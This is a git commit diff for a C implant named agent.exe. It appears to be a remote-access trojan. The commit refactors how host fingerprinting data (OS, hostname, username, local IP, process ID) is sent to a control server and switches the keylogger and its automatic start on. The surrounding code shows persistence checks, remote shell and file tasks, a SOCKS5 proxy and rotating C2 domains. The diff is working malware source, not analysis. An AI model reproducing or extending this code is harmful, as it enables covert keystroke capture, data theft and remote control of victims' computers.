Refactored sysinfo command and some bug fixed

This commit is contained in:
Pavlo Khazov
2025-04-27 08:49:59 +02:00
parent 88eabf5339
commit 1f01d1bdf0
5 changed files with 35 additions and 21 deletions

View File

@@ -8,7 +8,7 @@ BIN_DIR = .
EXEC = $(BIN_DIR)/agent.exe
# Define default flags
CFLAGS = -Wall -flto -Os -DTESTING_BUILD
CFLAGS = -flto -Os -DTESTING_BUILD
# Define feature flags
USE_WOLFSSL = TRUE

View File

@@ -11,6 +11,9 @@
#include "processes.c"
#include "transport.c"
// dummy buffer
char dummy[1024];
LARGE_INTEGER start, end, freq;
#if TESTING_BUILD
@@ -111,11 +114,11 @@ int main() {
}
#if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
CheckPersistence();
CheckPersistence(dummy);
#endif
#if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
InitKeylogger();
InitKeylogger(dummy);
#endif
#if AUTO_FILES
@@ -143,7 +146,8 @@ int main() {
printf("Connected to server\n");
if (firstConnection) {
SendSysInfo(transport);
SendSysInfo(dummy);
SendTaskResult(transport, "SYSINFO", dummy);
firstConnection = 0;
} else {
printf("Trying to send heartbeat\n");

View File

@@ -40,7 +40,8 @@ void SendTaskResult(Transport* transport, char* task_type, char* result) {
// Format the message
snprintf(message, buffer_size, "%s~%s~%s", agentID, actual_task_type, result);
printf("Sending formatted message (length: %zu)\n", strlen(message));
printf("Message: %s", message);
// Send the message
if (transport->send(transport->handle, message, strlen(message)) <= 0) {
printf("Error sending task result.\n");
@@ -103,7 +104,7 @@ void ExecuteShell(char* result, char* command, char* type) {
}
}
void SendSysInfo(Transport* transport) {
void SendSysInfo(char* result) {
char osVersion[128] = {0};
char architecture[128] = {0};
char hostname[128] = {0};
@@ -116,17 +117,20 @@ void SendSysInfo(Transport* transport) {
char systemInfo[STD_BUFF];
snprintf(systemInfo, sizeof(systemInfo),
"%s~SYSINFO~%s|%s|%s|%s|%s|%s|%lu", agentID, osVersion, architecture, hostname, username, localIP, procname, pid);
"%s|%s|%s|%s|%s|%s|%lu", osVersion, architecture, hostname, username, localIP, procname, pid);
printf("Sysinfo string: %s\n", systemInfo);
// printf("Sysinfo string: %s\n", systemInfo);
transport->send(transport->handle, systemInfo, strlen(systemInfo));
printf("System info sent to the server\n");
ReceiveResponse(transport);
strcpy(result, systemInfo);
// printf("Result: %s", result);
// transport->send(transport->handle, systemInfo, strlen(systemInfo));
// printf("System info sent to the server\n");
// ReceiveResponse(transport);
}
#if ENABLE_KEYLOGGER
void InitKeylogger(void) {
void InitKeylogger(char* result) {
printf("\n[KEYLOGGER] Starting keylogger...\n");
hKeylogThread = CreateThread(0, 0, StartKeylogger, 0, 0, 0);
if (hKeylogThread == NULL) {
@@ -136,6 +140,7 @@ void SendSysInfo(Transport* transport) {
if (hKeylogTimerThread == NULL) {
printf("\n[KEYLOGGER] Failed to create keylog timer thread.\n");
}
sprintf(result, "Keylogger initialized!\n");
}
#endif
@@ -209,7 +214,8 @@ void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_
SendFiles(transport, NULL, 0);
}
else if (strcmp(task_type, "sysinfo") == 0) {
SendSysInfo(transport);
SendSysInfo(result);
SendTaskResult(transport, "SYSINFO", result);
}
else if (strcmp(task_type, "cd") == 0) {
HandleDirectoryCommand(result, "cd", task_args);
@@ -236,7 +242,7 @@ void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_
else if (strcmp(task_type, "keylogger") == 0) {
#if ENABLE_KEYLOGGER
if (strncmp(task_args, "start", 5) == 0) {
InitKeylogger();
InitKeylogger(result);
} else if (strncmp(task_args, "stop", 4) == 0) {
StopKeylogger();
}

View File

@@ -14,7 +14,7 @@
#endif
#ifndef ENABLE_KEYLOGGER
#define ENABLE_KEYLOGGER FALSE
#define ENABLE_KEYLOGGER TRUE
#endif
// Auto-startup settings (will not work if corresponding module is set to true)
@@ -23,22 +23,23 @@
#endif
#ifndef AUTO_KEYLOGGER
#define AUTO_KEYLOGGER FALSE
#define AUTO_KEYLOGGER TRUE
#endif
#ifndef AUTO_FILES
#define AUTO_FILES FALSE
#endif
// Socks5 proxy module
#ifndef ENABLE_PROXY
#define ENABLE_PROXY TRUE
#endif
// Method of cleanup - TRUE = bat, FALSE = cmd
#ifndef CLEANUP_METHOD
#define CLEANUP_METHOD FALSE
#endif
// Socks5 proxy module
#ifndef ENABLE_PROXY
#define ENABLE_PROXY TRUE
#endif
// For builds with make
#ifndef TESTING_BUILD
@@ -63,7 +64,6 @@ extern HANDLE hFilesTimerThread;
// Shared functions
extern char* GetNextDomain();
extern void SendSysInfo(Transport* transport);
extern void SendHeartbeat(Transport* transport);
extern void ReceiveResponse(Transport* transport);
extern void Cleanup();